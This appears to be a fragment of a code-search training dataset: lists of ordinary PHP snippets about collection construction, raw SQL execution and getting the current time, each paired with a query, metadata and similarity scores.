"public function testWhenNoInputIsSentToTheConstructorThenInitializeUsingAnEmptyArray()\n {\n $element1 = new \\stdClass();\n $element1->Name = 'EL 1';\n\n $element2 = new \\stdClass();\n $element2->Name = 'EL 2';\n\n $Collection = new \\MySQLExtractor\\Common\\Collection();\n\n $elements = \\PHPUnit_Framework_Assert::readAttribute($Collection, 'elements');\n $this->assertEquals(array(), $elements);\n\n $Collection->add($element1);\n\n $elements = \\PHPUnit_Framework_Assert::readAttribute($Collection, 'elements');\n $this->assertEquals(array($element1), $elements);\n\n $Collection->add($element2);\n $elements = \\PHPUnit_Framework_Assert::readAttribute($Collection, 'elements');\n $this->assertEquals(array($element1, $element2), $elements);\n }",
"public static function createEmpty(): self\n {\n return new static([]);\n }",
"public static function createCollection($values = null)\n {\n return new Collection(get_called_class(), $values);\n }",
"function ting_ting_collection_create($empty, $data = NULL, $conf = FALSE) {\n $context = new ctools_context('ting_collection');\n $context->plugin = 'ting_collection';\n\n if ($empty) {\n return $context;\n }\n\n if ($conf) {\n $collection_id = is_array($data) && isset($data['object_id']) ? $data['object_id'] : (is_object($data) ? $data->id : 0);\n\n module_load_include('client.inc', 'ting');\n $data = ting_get_collection_by_id($collection_id, TRUE);\n }\n\n if (!empty($data)) {\n $context->data = $data;\n $context->title = t('@title by @author', array('@title' => $data->title, '@author' => $data->creators_string));\n $context->argument = $collection_id;\n\n return $context;\n }\n}",
"public function __construct()\n {\n $this->categories = new ArrayCollection();\n $this->families = new ArrayCollection();\n $this->types = new ArrayCollection();\n $this->designations = new ArrayCollection();\n $this->makes = new ArrayCollection();\n }",
"public function newCollection(array $models = []): Collection\n {\n return new Collection($models);\n }",
"public function clearCollection()\n {\n $this->collections = [];\n }",
"public function __construct()\n {\n $this->articles = new ArrayCollection();\n $this->commentaires = new ArrayCollection();\n }",
"public function createCollectionFromArray($data)\n {\n $data['hidden'] = (bool) ArrayUtils::get($data, 'hidden');\n $data['single'] = (bool) ArrayUtils::get($data, 'single');\n $data['managed'] = (bool) ArrayUtils::get($data, 'managed');\n\n return new Collection($data);\n }",
"public function __construct(Collection $collection = null)\r\n {\r\n $this->collection = $collection ?: new Collection;\r\n }",
"public function __construct()\n {\n $this->users = new ArrayCollection();\n }",
"private function createCollection()\n {\n $class = get_class($this->data);\n\n $this->name = strtolower(class_basename($class));\n\n $result = $this->callEvent($class, [$class => $this->data]);\n\n if ($result instanceof $this->data) {\n $this->data = $result;\n }\n\n $this->makePaginator();\n }",
"public function newCollection(array $models = array())\n\t{\n\t\treturn new MyCollection($models);\n\t}",
"public function newCollection(array $models = []);",
"public function __construct()\n {\n $this->tasks = new ArrayCollection();\n $this->comments = new ArrayCollection();\n $this->timeEntries = new ArrayCollection();\n }",
"public function test_create__with_collection()\n {\n\n $testee = new ElementFactory();\n\n $spec = [\n 'attributes' => [\n 'type' => 'collection',\n 'name' => 'test',\n ],\n 'elements' => [\n [\n 'attributes' => [\n 'type' => 'text',\n 'name' => 'my-text'\n ]\n ]\n ]\n ];\n\n $element = $testee->create($spec);\n static::assertInstanceOf(CollectionElementInterface::class, $element);\n\n $elements = $element->elements();\n static::assertNotEmpty($elements);\n static::assertInstanceOf(ElementInterface::class, reset($elements));\n }",
"public function newCollection(array $models = array())\n {\n return new Collection($models);\n }",
"protected function _prepareCollection()\n {\n $collection = $this->collectionFactory->create();\n $this->setCollection($collection);\n\n return parent::_prepareCollection();\n }",
"protected static function newCollection( &$result = null )\n\t{\n\t\t$collection = new Collection();\n\t\t\n\t\tif( $result !== null )\n\t\t{\n\t\t\tforeach( $result as $item )\n\t\t\t{\n\t\t\t\t$collection->items[] = self::newItem($item);\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $collection;\n\t}",
"public function testCountForEmptyCollection()\n {\n $requestCookieCollection = new RequestCookieCollection();\n\n self::assertSame(0, count($requestCookieCollection));\n }",
"public function create($data){ throw new \\Exception('You must define at least one collection!'); }",
"public function __construct()\n {\n $this->postules = new ArrayCollection();\n $this->competences = new ArrayCollection();\n $this->habilitations = new ArrayCollection();\n }",
"public function __construct()\n {\n $this->userTodos = new ArrayCollection();\n }",
"protected function makeData()\n {\n $Collection = new Collection();\n for($i = 0; $i < 35; $i++){\n $Collection->push([\n 'name' => $this->Faker->name,\n 'email' => $this->Faker->email,\n 'birthday' => $this->Faker->date,\n 'phone_number' => $this->Faker->phoneNumber,\n 'bio' => $this->Faker->text,\n ]);\n }\n\n return $Collection;\n }",
"public function __construct()\n {\n $this->questions = new ArrayCollection();\n $this->openids = new ArrayCollection();\n $this->createdAt = new \\DateTime();\n }",
"public function testConstructor(): void\n {\n $collection = new Collection(\n collect([(object) ['a.b' => 'c']]),\n ['a' => ['b' => 'c']]\n );\n\n $this->assertEquals([new Item(['a' => ['b' => 'c']])], $collection->toArray());\n }",
"function collect($value = null)\n {\n return new Collection($value);\n }",
"function collect($value = null)\n {\n return new Collection($value);\n }",
"function asdb_collect($value = null)\n\t{\n\t\treturn new Collection($value);\n\t}",
"public function asCollection();",
"public function __construct()\n {\n $this->commentaires = new ArrayCollection();\n $this->photos = new ArrayCollection();\n }",
"public function clear() : CollectionInterface;",
"public function __construct(Collection $collection)\n {\n $this->collection = $collection;\n }",
"public function __construct(Collection $collection)\n {\n foreach($collection->items as $collectionItem){\n $collectionItem->delete();\n }\n }",
"protected function newCollection(array $data)\n {\n return new Collection($data);\n }",
"public function __construct()\n {\n $this->placas = new ArrayCollection();\n }",
"public function __construct()\n {\n $this->categories = new ArrayCollection();\n }",
"public function __construct()\n {\n $this->categories = new ArrayCollection();\n }",
"public function clear()\n {\n $this->collection = array();\n\n return $this;\n }",
"public function newCollection(array $models = [])\n {\n return new Collection($models);\n }",
"public function newCollection(array $models = [])\n {\n return new Collection($models);\n }",
"public function newCollection(array $models = [])\n {\n return new Collection($models);\n }",
"public function __construct()\n {\n $this->posts = new ArrayCollection();\n $this->parameters = new ArrayCollection();\n }",
"public function collection() {\n \t$db = $this->db;\n\t\t$sql = $this->sql();\n\t\t$rows = $db::execute($sql);\n\t\t$model = $this->model;\n\t\treturn new \\Collection($model::arrayFactoryFromRows($rows));\n\t}",
"public function __construct() {\n $this->bestellijn = new ArrayCollection();\n }",
"public function __construct() {\n $this->items = new ArrayCollection;\n $this->orderProducts = new ArrayCollection;\n $this->promotions = new ArrayCollection();\n\n }",
"function collect(array $value = []): Collection\n {\n return new Collection($value);\n }",
"public function Panier() \n {\n $this->CollProduit = new Collection;\n }",
"public function createCollection(array $data = [])\n {\n return ItemCollection::factory($data);\n }",
"protected function constructEmpty()\r\n\t{\r\n\t\t$this->transitionCount = 0;\r\n\t\t$this->transitions = array();\r\n\t\t// TODO: this should probably contain at least one item\r\n\t\t$this->types = array();\r\n\t}",
"public static function createEmpty(): self\n {\n return new self(null);\n }",
"public function __construct()\n {\n \t$this->cities = new ArrayCollection();\n }",
"private function createCollectionIfNotExists(string $name): void\n {\n if (is_null($this->collections)) {\n $this->collections = array_map(function ($collection) {\n return $collection['name'];\n }, $this->searcher->listCollections());\n }\n\n // Create the index if it's not in the list\n if (!in_array($name, $this->collections)) {\n $this->logger->info('Creating collection ' . $name);\n $this->searcher->createCollection($name);\n $this->collections[] = $name;\n }\n }",
"public function __construct()\n {\n $this->programs = new ArrayCollection();\n }",
"public function __construct()\n {\n $this->programs = new ArrayCollection();\n }",
"public function getNewCollection(string $typeName, string $schema): OCICollection\n {\n return oci_new_collection($this->dbh, $typeName, $schema);\n }",
"public function __construct($collections = array())\n {\n $this->setCollections($collections);\n }",
"public function __construct()\n {\n $this->feeds = new ArrayCollection();\n }",
"function createEmpty()\n\t{\n\t\t$data = array();\n\t\t$data['MexcGallery']['publishing_status'] = 'draft';\n\t\t\n\t\t$this->create();\n\t\treturn $this->save($data, false);\n\t}",
"public static function make(array $items): Collection\n {\n return new static($items);\n }",
"public function createCollection()\n\t{\n\t\t/** @var $collection \\Magento\\Catalog\\Model\\ResourceModel\\Product\\Collection */\n\t\t$collection = $this->productCollectionFactory->create();\n\t\t$collection->setVisibility($this->catalogProductVisibility->getVisibleInCatalogIds());\n\n\t\t$collection = $this->_addProductAttributesAndPrices($collection)\n\t\t\t->addStoreFilter()\n\t\t\t->setPageSize($this->getPageSize())\n\t\t\t->setCurPage($this->getRequest()->getParam(self::PAGE_VAR_NAME, 1));\n\n\t\t$conditions = $this->getConditions();\n\t\t$conditions->collectValidatedAttributes($collection);\n\t\t$this->sqlBuilder->attachConditionToCollection($collection, $conditions);\n\n\t\treturn $collection;\n\t}",
"public function __construct()\n {\n self::$clients = new Collection();\n }",
"public function __construct() {\n $this->reservations = new ArrayCollection();\n }",
"public function __construct()\n {\n parent::__construct();\n\n $this->organismes = new ArrayCollection();\n $this->reponses = new ArrayCollection();\n $this->tags = new ArrayCollection(); \n $this->categories = new \\Doctrine\\Common\\Collections\\ArrayCollection();\n }",
"public function clear() {\n $this->collection = [];\n $this->noteCollectionChanged();\n }",
"public function __construct() {\n $this->columnas = new ArrayCollection();\n }",
"public static function create(Query_Result $queryResult = null)\n {\n return new Model_Collection($queryResult);\n }",
"public function __construct($collection) {\n\t\t\t$this->collection = $collection;\n\t\t}",
"public function __construct($data = null)\n {\n $this->created = new DateTime('now', new DateTimeZone('UTC'));\n $this->dish = new ArrayCollection();\n\n return parent::__construct($data);\n }",
"public function __construct()\n {\n $this->tickets = new ArrayCollection();\n }",
"public static function create(): self\n {\n return new self([]);\n }",
"protected function createMockCollection()\n {\n $mockCollection = $this->getMockBuilder('Collection')\n ->setMethods(array('createIndex', 'deleteIndexes'))\n ->getMock();\n\n return $mockCollection;\n }",
"public function __construct()\n {\n $this->attachments = new ArrayCollection();\n $this->history = new ArrayCollection();\n }",
"public function getCollection();",
"public function getCollection();",
"public function getCollection();",
"public function getCollection();",
"public function newCollection(array $models = [])\n {\n return new KusikusiCollection($models);\n }",
"public function __construct()\n {\n $this->accounts = new ArrayCollection();\n }",
"public function _construct(){\n $this->KcsPoll = new ArrayCollection();\n }",
"public function testIteratorForEmptyCollection()\n {\n $requestCookieCollection = new RequestCookieCollection();\n\n $requestCookieArray = iterator_to_array($requestCookieCollection, true);\n\n self::assertSame([], $requestCookieArray);\n }",
"public function test_has_empty_client_collection()\n {\n $response = $this->get(route('admin.clients.index'));\n $response->assertStatus(200);\n $response->assertViewHas(['clients', 'paginator']);\n\n /* @var $clients Collection */\n $clients = $response->original->getData()['clients'];\n\n $this->assertInstanceOf(Collection::class, $clients);\n $this->assertEmpty($clients);\n }",
"abstract public static function create(Relation $query): Collection;",
"public function __construct()\n {\n $this->plants = new ArrayCollection();\n \n // NOTICE custom property not mapped with BDD\n // $this->tutus = new ArrayCollection();\n\n $this->createdAt = new \\DateTime();\n }",
"public function collection(Collection $collection);",
"public static function create(array $collectionRecord, $fillItems = false)\n {\n $collection = new static();\n $collection->fromArray($collectionRecord);\n if ($fillItems) {\n $collection->loadContents();\n }\n return $collection;\n }",
"protected function _getCollection()\n\t{\n\t\t//Check collection\n\t\tif($this->_collection)\n\t\t\treturn $this->_collection;\n\n\t\t//Get collection\n\t\t$this->_collection = new \\Framework\\Database\\Drivers\\Mongo\\CDatabaseModelCollection($this, $this->execute());\n\t\treturn $this->_collection;\n\t}",
"public function getCollection() ;"
]
| [
"0.72536355",
"0.71918607",
"0.7083345",
"0.69771785",
"0.6951325",
"0.6920966",
"0.68662",
"0.6842843",
"0.6841601",
"0.6698901",
"0.6698901",
"0.6564318",
"0.65251786",
"0.64816815",
"0.64647067",
"0.64235854",
"0.6378004",
"0.63545185",
"0.6349212",
"0.6335846",
"0.63342506",
"0.63210136",
"0.6306841",
"0.62871987",
"0.62779915",
"0.6277663",
"0.6274941",
"0.619103",
"0.6184587",
"0.61781603",
"0.61778575",
"0.61775684",
"0.6173394",
"0.61717343",
"0.61710215",
"0.61687803",
"0.61653286",
"0.6147222",
"0.6143126",
"0.6143126",
"0.6131923",
"0.611275",
"0.61055356",
"0.61023676",
"0.60924757",
"0.60920924",
"0.6088107",
"0.60840327",
"0.6066389",
"0.6066389",
"0.60637444",
"0.6062731",
"0.6062731",
"0.6062731",
"0.6054453",
"0.605368",
"0.6050625",
"0.6048282",
"0.6026617",
"0.60226774",
"0.60201335",
"0.60077184",
"0.5993948",
"0.59882563",
"0.5980296",
"0.5968959",
"0.5968959",
"0.59599984",
"0.5955876",
"0.5954471",
"0.5954086",
"0.5952734",
"0.59490955",
"0.5939597",
"0.59363925",
"0.5935968",
"0.593233",
"0.592375",
"0.59234744",
"0.5910205",
"0.5909829",
"0.59006065",
"0.5898244",
"0.5896892",
"0.58930475",
"0.58904505",
"0.58904505",
"0.58904505",
"0.58904505",
"0.58863795",
"0.5873373",
"0.5867017",
"0.5864961",
"0.5863251",
"0.58609205",
"0.58587277",
"0.5855813",
"0.585185",
"0.5847287",
"0.58377516"
]
| 0.83229446 | 0 |
Execute a raw query Has no return value, not suited for select queries | protected function query(Query $query): void
{
$this->db->query($query);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function db_raw_exec( $sql )\n{\n return Chev_PDO::instance()->raw_exec( $sql );\n}",
"public function execute()\n {\n return $this->query($this->sSql);\n }",
"public function execute()\n {\n \tif ( $this->cur_query != \"\" )\n \t{\n \t\t$res = $this->query( $this->cur_query );\n \t}\n \t\n \t$this->cur_query \t= \"\";\n \t$this->is_shutdown \t= false;\n\n \treturn $res;\n }",
"public function execute(): Statement;",
"private function execute() {\n $query = $this->db->query($this->sql);\n return $query->result();\n }",
"static public function execSQL($raw_sql) {\n if (self::$_static_handler == null) {\n self::$_static_handler = slDatabaseManager::getConnection();\n }\n $res = null;\n if (!is_array($raw_sql)) $raw_sql = array($raw_sql);\n foreach($raw_sql as $sql) {\n $res = self::$_static_handler->query($sql);\n }\n return $res;\n }",
"public function executeQuery($sql)\r\n\t{\r\n\t\t//return qocqal_query($sql);\r\n\t}",
"public function execute($sql){\n\t $query = DB::query(Database::SELECT, $sql);\n\t return $query->execute($this->database);\n\t}",
"abstract public function execute($query);",
"public function raw($sql) {\n\t\t$this->query ( $sql );\n\t}",
"protected function execute()\n{\n\t$this->result = $this->db->query($this->getSql());\n\t$this->position = 0;\n\t$this->data = array();\n\n\treturn $this->result;\n}",
"public function execute($query);",
"public static function execute()\n {\n if(DEBUG_QUERIES)\n {\n $start = microtime();\n }\n $r = self::$stmt->execute();\n if(DEBUG_QUERIES)\n {\n $elapsed = round(microtime() - $start, 4);\n isset(Core::$benchmark['db']['count']) ? Core::$benchmark['db']['count']++ : Core::$benchmark['db']['count'] = 1;\n isset(Core::$benchmark['db']['elapsed']) ? (Core::$benchmark['db']['elapsed']+$elapsed) : Core::$benchmark['db']['elapsed'] = $elapsed;\n }\n if(self::$stmt->errorCode() !== '00000')\n {\n trigger_error(json_encode(self::$stmt->errorInfo()));\n }\n return $r;\n }",
"private function executeQuery() {\n\t\t$recordset = $this->getConnection()->execute( $this );\n\t\t\n\t\tif( $recordset === false ) {\n\t\t\t$this->_recordset = array();\n\t\t} else {\n\t\t\t$this->_recordset = $recordset;\n\t\t}\n\n\t\t$this->_currentRow = 0;\n\t\t$this->isDirty( false );\n\t}",
"public function execute()\n {\n $query = $this->__toString();\n if (!empty($this->params)) {\n $statement = $this->pdo->prepare($query);\n $statement->execute($this->params);\n return $statement;\n }\n return $this->pdo->query($query);\n }",
"public static function execute($sql) {\n if (static ::$show_sql) {\n echo $sql . \"\\n\\n\";\n }\n $query = NimbleRecord::execute($sql, true);\n return $query;\n }",
"public function Execute($sql) {\r\n return $this->_connection->query($sql);\r\n }",
"public function execute() { \n return $this -> stmt -> execute();\n }",
"protected function execute_single_query(){\n\t\t$this -> open_connection();\n\t\t$this -> conn -> query($this -> query);\n\t\t$this -> close_connection();\n\t}",
"public function executeQuery($sql){\n return DB::executeQuery($this->db, $sql);\n }",
"public function execute($sql);",
"public function execute($sql);",
"public function executeQuery($q){ $this->makeConnection();\n //check for SQL injection\n\n //execute query\n $results = $this->connection->query($q);\n\n return $results;\n\n }",
"public abstract function execute($sql);",
"public function rawExecute(array $param = array('query'=>'','arrData'=>[])) {\n $qry = isset($param['query']) ? $param['query'] : '';\n $arrData = isset($param['arrData']) ? $param['arrData'] : [];\n\n if( empty( $qry ) ) {\n echo \"missing query\";\n die;\n }\n \n $insert_values = [];\n\n if( !empty( $qry ) ) {\n $countQuestionMarks = 0;\n\n foreach( $qry AS $char ) {\n if( $char == \"?\" )\n $countQuestionMarks++;\n }\n\n if( count($arrData) == $countQuestionMarks ) {\n echo \"data count doesn't match with column count.\";\n die;\n }\n\n if( count( $arrData ) ) {\n $insert_values = $arrData;\n }\n }\n\n $strQry = $qry;\n $pdo = $this->getConnection();\n $this->stmt = $pdo->prepare($strQry);\n\n if( count( $insert_values ) ) {\n $executed = $this->stmt->execute($insert_values);\n } else {\n $executed = $this->stmt->execute();\n }\n \n if( $executed ) {\n echo 'query executed successfully.';\n } else {\n echo 'fails to truncate table';\n }\n \n $this->stmt = null;\n die;\n }",
"public function rawExec(string $sql, array $params=[])\n {\n return $this->getConnection()->rawExec($sql, $params);\n }",
"abstract public function execute() ;",
"private function RunBasicQuery() {\n // Prepare the Query\n $this->stmt = $this->db->prepare($this->sql);\n \n // Run the Query in the Database\n $this->stmt->execute();\n \n // Store the Number Of Rows Returned\n $this->num_rows = $this->stmt->rowCount();\n \n // Work with the results (as an array of objects)\n $this->rs = $this->stmt->fetchAll();\n \n // Free the statement\n $this->stmt->closeCursor(); \n }",
"public function rawQuery($query);",
"abstract public function execute($sql);",
"protected abstract function executeQuery(Result $result);",
"public function query($rawQuery, $params = array()){\n\n $stmt = $this->conn->prepare($rawQuery);\n $this->setParams($stmt, $params);\n $stmt->execute();\n return $stmt;\n }",
"public function runQuery($query = null) {\n $this->query = ($query) ? $query : $this->query;\n\n if (empty($this->query)) {\n throw new \\Exception('Cannot run an empty query', 500);\n }\n\n try {\n $res = $this->db\n ->rawQuery($this->query);\n } catch (\\Exception $ex) {\n throw new \\Exception($ex->getMessage(), $ex->getCode());\n }\n\n return $res;\n }",
"function executeQuery($query);",
"public function Execute()\r\n {\r\n $this->PREPARE_STATEMENT($this->sql);\r\n return $this->EXECUTE_STATEMENT($this->statement);\r\n \r\n }",
"public function query($rawQuery, $param = array()){\n \n $stmt = $this->conn->prepare($rawQuery);\n \n $this->setParams($stmt, $param);\n \n $stmt->execute();\n \n return $stmt;\n \n}",
"abstract public function queryRaw($q);",
"public function run(){\n $sql = $this->sql();\n return $this->query($sql,$this->args);\n }",
"function execute ($sql)\n {\n return pg_query($this->_conn, $sql);\n }",
"protected abstract function executeQuery($query);",
"public function rawQuery(string $sql, array $params=[])\n {\n return $this->getConnection()->rawQuery($sql, $params);\n }",
"function query($sql) {\r\n\t\treturn $this->execute($sql);\r\n\r\n\t}",
"public function executeQuery() \r\n\t{\r\n\t\t$Result = $this->objStatement->execute();\r\n\t\t\r\n\t\tif($Result)\r\n\t\t{\r\n\t\t\t$Result = new DatabaseStatement($this->objStatement);\r\n\t\t}\r\n\t\t\r\n\t\treturn $Result;\r\n\t}",
"final public function execute()\n {\n return $this\n ->finalize()\n ->getDB()\n ->execute($this);\n }",
"public function execute();",
"public function execute();",
"public function execute();",
"public function execute();",
"public function execute();",
"public function execute();",
"public function execute();",
"public function execute();",
"public function execute();",
"public function execute();",
"public function execute();",
"public function execute();",
"public function execute();",
"public function execute();",
"public function execute();",
"protected static function execute_simple_query($sql) {\n $query = self::connection()->prepare($sql);\n $query->execute();\n return $query;\n }",
"abstract public function execute();",
"abstract public function execute();",
"abstract public function execute();",
"abstract public function execute();",
"protected function execute_single_query() \n\t\t{\n \t\t\t$this->open_connection();\n \t\t\t$this->conn->query($this->query);\n \t\t\t$this->close_connection();\n\t\t}",
"public function executeQuery($sql)\r\n\t{\r\n\t\t//return mysql_query($sql);\r\n\t}",
"abstract function executeQuery($cons);",
"private function ExecuteQuery()\n\t{\n\t\tswitch($this->querytype)\n\t\t{\n\t\t\tcase \"SELECT\":\n\t\t\t{\n\t\t\t\t$this->stmt->execute();\n\t\t\t\t$this->querydata = $this->stmt->fetchAll(PDO::FETCH_ASSOC);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcase \"INSERT\":\n\t\t\tcase \"UPDATE\":\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\t$this->beginTransaction();\n\t\t\t\t\t$this->stmt->execute();\n\t\t\t\t\t$this->commit();\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tcatch (PDOException $e)\n\t\t\t\t{\n\t\t\t\t\t$this->rollBack();\n\t\t\t\t\techo(\"Query failed: \" . $e->getMessage());\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}",
"abstract public function exec($sql);",
"abstract public function query($sql);",
"abstract function execute();",
"abstract function execute();",
"public function execute()\n {\n /* If there's a select limit, capitalize on it */\n if($this->limit) {\n $this->query .= ' LIMIT ' . $this->limit;\n }\n \n /* If executement arguments has values, execute statement with\n the values */\n if(count($this->values) != 0) {\n /* Execute query in prepared format */\n $request = $this->pdo->prepare($this->getQuery());\n \n /* Append values to execute */\n $request->execute($this->values);\n }else if(count($this->values) == 0) {\n /* Run query if values is empty */\n $request = $this->pdo->query($this->getQuery());\n }\n /* Reset values array for next query */\n $this->values = [];\n \n /* If execution action is fetch, return ->fetchAll(); */\n if($this->action == 'fetch') {\n return $request->fetchAll();\n }\n \n /* If execution action is rows, return ->rowCount(); */\n if($this->action == 'rows') {\n return $request->rowCount();\n }\n \n /* Else return self */\n return $this;\n }",
"function _execute($sql) {\n\t\t$result = sqlite_query($this->connection, $sql);\n\n\t\tif (preg_match('/^(INSERT|UPDATE|DELETE)/', $sql)) {\n\t\t\t$this->resultSet($result);\n\t\t\tlist($this->_queryStats) = $this->fetchResult();\n\t\t}\n\t\treturn $result;\n\t}",
"function customQuery($query) \t{\n $res = $this->execute($query);\n\t\t return $res;\n\t}",
"function _execute($sql) {\n\t\treturn mysql_query($sql, $this->connection);\n\t}",
"public function execQuery($sql){\n return mysql_query($sql);\n }",
"protected function _execute($sql)\n {\n return $this->conn_id->query($sql);\n }",
"public abstract function execute();",
"public abstract function execute();",
"public abstract function execute();",
"function fvls_db_ExecuteQuery($sql){\n\t\tglobal $FLVS_db_link;\n\t\tif( !$FLVS_db_link instanceof MySQLi )\n\t\t\treturn false;\n\n\t\tif ( !($response = $FLVS_db_link->query( $sql ) ) ){\n\t\t\tif( defined('FVLS_DEVELOPER_MODE') && FVLS_DEVELOPER_MODE )\n\t\t\t echo \"FV Link Shortener Error: mySQL Query Error - $FLVS_db_link->error | $sql\\n\";\n\t\t\treturn false;\n\t\t}\n\n\t\treturn $response;\n\t}",
"public function ExecuteQuery($query){\n\t\treturn $this->db_con->query($query);\n\t}",
"abstract protected function _query($sql);",
"public function execute($sql) {\n $this->result = $this->conn->query($sql);\n return $this->result;\n }",
"public function exec($prepared_values = null) {\n if (!empty($this->_parts['query'])) {\n $res = null;\n foreach($this->_parts['query'] as $one) {\n $res = $this->_connection->query($one);\n }\n $this->_parts['query'] = array();\n return $res;\n }\n return $this->_connection->processQuery($this);\n }",
"abstract public function exec($query='');",
"public function query($sql) {\n $sth = $this->prepare($sql);\n $sth->execute();\n\n return $sth;\n }",
"public function execute($query=null)\n {\n return static::query($query);\n }",
"public function _Execute($sql) {\n\t\ttry {\n\t\t\t$this->_error = NULL;\n\t\t\tif(!$this->_connection) { $this->_Connect(); }\n\t\t\t\n\t\t\tif (substr_count(strtoupper($sql), 'SELECT') > 0 || substr_count(strtoupper($sql), 'PRAGMA') > 0) {\n\t\t\t\t$statement = $this->_connection->prepare($sql);\n\t\t\t\tif($statement) {\n\t\t\t\t\t$statement->execute();\n\t\t\t\t\t$result = $statement->fetchAll();\n\t\t\t\t} else {\n\t\t\t\t\t$result = NULL;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif(!$this->_auto_commit && !$this->_begin) {\n\t\t\t\t\t$this->_connection->beginTransaction();\n\t\t\t\t\t$this->_begin = true;\n\t\t\t\t}\n\t\t\t\t$result = $this->_connection->exec($sql);\n\t\t\t}\n\t\t\tif ($result === FALSE) {\n\t\t\t\t$error = $this->_connection->errorInfo();\n\t\t\t\t$this->_RenderError($error[0].'-'.$error[1].' '.$error[2], 'XUXO_ERROR_CODE_004');\n\t\t\t}\n\t\t\t\n\t\t\t$this->_resource = ($result) ? $result : NULL;\n\t\t\treturn $result;\n\t\t} catch (Exception $e) {\n\t\t\t$this->_RenderError($e->getMessage(), 'XUXO_ERROR_CODE_004');\n\t\t}\n\t}",
"public function execute()\n\t{\n\t\t$this->query->setFetchMode($this->fetchMode);\n\n\t\t$this->query->execute($this->params);\t\n\n\t\t// Fetch the data in the appropriate format\n\t\tswitch ($this->fetchMethod) {\n\t\t\tcase 'row':\n\t\t\t\t$this->result = $this->query->fetch();\n\t\t\t\tbreak;\n\t\t\tcase 'field':\n\t\t\t\t$this->result = $this->query->fetchColumn();\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t$this->result = $this->query->fetchAll();\n\t\t\t\tbreak;\n\t\t}\n\t}",
"function raw_db_query($query)\r\n{\r\n global $g_current_db;\r\n\r\n return sqlite_query($g_current_db, $query);\r\n}",
"public function execute()\n {\n return $this->_execute();\n }",
"public function executeStatement()\n {\n \n }",
"function db_execute($query)\n {\n /*\n * Execute the Query\n */\n $this->varifysql($query[\"SQL\"]);\n return $this->get_conn()->query($query[\"SQL\"], PDO::FETCH_ASSOC);\n }",
"private function query()\n {\n $lStart = microtime(true);\n\n //arguments should be query (with placeholders) followed by an array of key-value pairs\n $args = func_get_args();\n $args = array_shift($args);\n $query = array_shift($args);\n $params = $args ? array_shift($args) : [];\n\n $sth = $this->pdo->prepare($query);\n if (!$sth) {\n //prepare failed\n $this->handlePrepareError($sth, $query, $params);\n }\n\n //explicitly bind parameters as int/string so IN() doens't get quoted\n foreach ($params as $key => $value) {\n if (is_numeric($value)) {\n $sth->bindValue($key, $value, PDO::PARAM_INT);\n } elseif (is_bool($value)) {\n $sth->bindValue($key, $value, PDO::PARAM_BOOL);\n } elseif (is_null($value)) {\n $sth->bindValue($key, $value, PDO::PARAM_NULL);\n } else {\n $sth->bindValue($key, $value, PDO::PARAM_STR);\n }\n }\n\n //query invalid\n if(!$sth->execute()) {\n $this->handleExecuteError($sth, $query, $params);\n }\n $this->queryTimer += microtime(true) - $lStart;\n $this->queryCount++;\n\n $query = preg_replace('/^\\s+/', '', $query);\n if(str_starts_with(strtolower($query), 'select')) {\n //return results for SELECT\n return $sth;\n\n } elseif(str_starts_with(strtolower($query), 'insert')) {\n //return insert id for INSERT\n $id = $this->pdo->lastInsertId();\n return ($id ?: true);\n\n } else {\n //return TRUE for DELETE, UPDATE\n //NB: don't return affected rows for UPDATE since 0 affected will be interpreted as query failed)\n return true;\n }\n }",
"public function execute () {\n $this->query->execute();\n }",
"private function func_execute () {\n $this -> connection = parent::func_query ($this -> query, $this -> query_data);\n }",
"public function DirectExecute($sql)\r\n\t{\r\n\t\t$this->_lastQuery = $sql;\r\n\t\treturn $this->Execute($sql);\r\n\t}",
"abstract public function query($sql, $execute =FALSE);",
"public static function execute()\n {\n //bind params\n foreach ( self::$_BINDS as $k => $_b ):\n $type = \\PDO::PARAM_STR;\n if ( $_b['type'] ):\n $type = self::getDataType( $_b['type'] );\n endif;\n\n $length = NULL;\n if ( $_b['size'] ):\n $length = (int) $_b['size'];\n endif;\n $k++;\n self::$stmt->bindParam( $k, $_b['value'], $type, $length );\n endforeach;\n self::$_BINDS = array(); //reset\n return self::$stmt->execute();\n }"
]
| [
"0.73526645",
"0.7213055",
"0.7174404",
"0.71283424",
"0.7120782",
"0.7062034",
"0.70563906",
"0.7050057",
"0.7042918",
"0.7040584",
"0.7026947",
"0.7023847",
"0.70172644",
"0.69579136",
"0.6947482",
"0.69186676",
"0.69145614",
"0.69070894",
"0.6893724",
"0.6889169",
"0.68792236",
"0.68792236",
"0.68752885",
"0.6865282",
"0.685711",
"0.68463594",
"0.6841987",
"0.6837244",
"0.6821921",
"0.6818291",
"0.68139076",
"0.6807984",
"0.6797683",
"0.6794468",
"0.6791039",
"0.6789407",
"0.6789342",
"0.6785227",
"0.6771114",
"0.676438",
"0.6762039",
"0.67552143",
"0.6754935",
"0.675416",
"0.6753549",
"0.6753549",
"0.6753549",
"0.6753549",
"0.6753549",
"0.6753549",
"0.6753549",
"0.6753549",
"0.6753549",
"0.6753549",
"0.6753549",
"0.6753549",
"0.6753549",
"0.6753549",
"0.6753549",
"0.67519647",
"0.6738539",
"0.6738539",
"0.6738539",
"0.6738539",
"0.67373204",
"0.6714515",
"0.6702743",
"0.6697243",
"0.6695811",
"0.6694302",
"0.6681947",
"0.6681947",
"0.66805387",
"0.66680497",
"0.66615427",
"0.6661529",
"0.66570884",
"0.66452897",
"0.66434777",
"0.66434777",
"0.66434777",
"0.6642659",
"0.664151",
"0.6631346",
"0.6627953",
"0.66275734",
"0.66171587",
"0.66161376",
"0.66125506",
"0.6595375",
"0.6593067",
"0.65907407",
"0.65828145",
"0.65788203",
"0.65755504",
"0.6570442",
"0.6567823",
"0.6558992",
"0.6551634",
"0.65499616",
"0.6549882"
]
| 0.0 | -1 |
Returns the current time as a DateTimeImmutable Object | protected function now(): DateTimeImmutable
{
return $this->db->now();
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function getNow(): \\DateTimeImmutable;",
"public static function getNow(): DateTimeImmutable\n {\n if (!self::$now) {\n self::$now = new DateTimeImmutable();\n }\n\n return self::$now;\n }",
